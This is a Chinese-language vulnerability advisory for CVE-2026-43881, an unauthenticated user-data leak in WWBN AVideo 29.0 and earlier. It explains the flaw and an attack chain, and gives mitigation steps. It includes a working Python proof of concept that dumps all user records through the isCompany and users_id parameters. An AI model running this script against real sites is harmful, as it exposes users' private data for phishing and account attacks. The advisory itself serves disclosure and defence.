IPBUF安全漏洞报告
English
CVE-2026-43881 CVSS 5.3 中危

CVE-2026-43881: WWBN AVideo 信息泄露漏洞(未认证用户可获取全量用户数据)

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43881
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

Information DisclosureIDORAuthentication BypassWWBN AVideoCVE-2026-43881

漏洞概述

WWBN AVideo 是一个广泛使用的开源视频托管平台。在其 29.0 及之前的版本中,系统存在一个严重的信息泄露漏洞。由于 `objects/users.json.php` 文件未正确实施访问控制,攻击者可以在未经身份验证的情况下,利用特定的请求参数遍历并获取系统内的所有用户账户数据。该漏洞的 CVSS 评分为 5.3,属于中危级别。虽然该漏洞不直接导致系统被入侵,但泄露的用户信息包括显示名称、频道 URL 和用户状态等,这些数据可被攻击者用于后续的精准网络钓鱼、暴力破解或社会工程学攻击,对用户隐私和平台安全构成显著威胁。

技术细节

该漏洞的核心在于 `objects/users.json.php` 文件中对权限校验逻辑的绕过,主要体现在两个未授权的访问路径上。

首先,第一个利用路径涉及 `isCompany` 请求参数。当攻击者在 HTTP 请求中附带 `isCompany` 参数时,后端处理逻辑会将 `$ignoreAdmin` 变量设置为 `true`。随后,该变量被传递给 `User::getAllUsers()` 和 `User::getTotalUsers()` 等核心方法。在这些方法的内部逻辑中,原本用于检查当前用户是否具备管理员权限的守卫语句会因为 `$ignoreAdmin` 为真而被跳过。这意味着,即使是未登录的匿名访客,也能成功调用这些方法,从而获取系统中所有注册用户的详细信息列表。

其次,第二个利用路径涉及 `users_id` 参数。攻击者可以通过该参数指定一个用户 ID,后端代码会直接调用 `User::getUserFromID()` 方法来获取该用户的详细资料。关键问题在于,这个调用路径完全缺失了权限验证代码(例如检查 `User::isLogged()` 或用户角色)。因此,攻击者可以通过不断递增 `users_id` 的值(如 1, 2, 3...)来枚举数据库中所有的用户记录,这也被称为“用户预言机”。

通过上述两种方式,攻击者可以导出包括用户 ID、标识名、频道链接、照片、背景图、状态以及账户总数在内的敏感信息。这种设计缺陷严重违反了最小权限原则,将本应严格受限的管理员功能暴露给了公网。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标系统正在使用 WWBN AVideo 平台,且版本在 29.0 或以下。
STEP 2
步骤2:漏洞探测
攻击者向 `objects/users.json.php` 端点发送包含 `isCompany=1` 参数的 GET 请求,测试是否存在权限绕过。
STEP 3
步骤3:数据窃取
服务器响应返回 JSON 格式的全量用户列表。攻击者解析数据,获取用户名、ID、频道等敏感信息。
STEP 4
步骤4:后续利用
攻击者利用获取的信息进行账号枚举、暴力破解攻击或针对性的社会工程学攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_avideo_info_disclosure(target_url): """ PoC for CVE-2026-43881: Information Disclosure in WWBN AVideo. This script demonstrates how to retrieve all users and specific user data without authentication. """ vulnerable_endpoint = f"{target_url}/objects/users.json.php" print(f"[*] Targeting: {target_url}") # Path 1: Retrieve all registered users using the isCompany parameter # This bypasses the admin check in User::getAllUsers() params_all_users = { 'isCompany': '1' # Sets $ignoreAdmin = true in the backend } try: print("\n[+] Attempting to dump all users...") response = requests.get(vulnerable_endpoint, params=params_all_users, timeout=10) if response.status_code == 200: print(f"[!] Success! Response Data:\n{response.json()}") else: print(f"[-] Failed. Status Code: {response.status_code}") except Exception as e: print(f"[-] Error during request: {e}") # Path 2: Retrieve a specific user (e.g., ID 1) using users_id parameter # This calls User::getUserFromID() without permission checks target_user_id = '1' params_single_user = { 'users_id': target_user_id } try: print(f"\n[+] Attempting to dump user ID {target_user_id}...") response = requests.get(vulnerable_endpoint, params=params_single_user, timeout=10) if response.status_code == 200: print(f"[!] Success! User Data:\n{response.json()}") else: print(f"[-] Failed. Status Code: {response.status_code}") except Exception as e: print(f"[-] Error during request: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/avideo" exploit_avideo_info_disclosure(target)

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
如果无法立即升级,建议在 Web 服务器配置文件中添加规则,临时禁止对 `/objects/users.json.php` 路径的外部访问,或者通过修改源代码移除 `isCompany` 参数触发 `$ignoreAdmin` 的逻辑分支,并强制 `User::getUserFromID()` 方法进行登录状态检查。

参考链接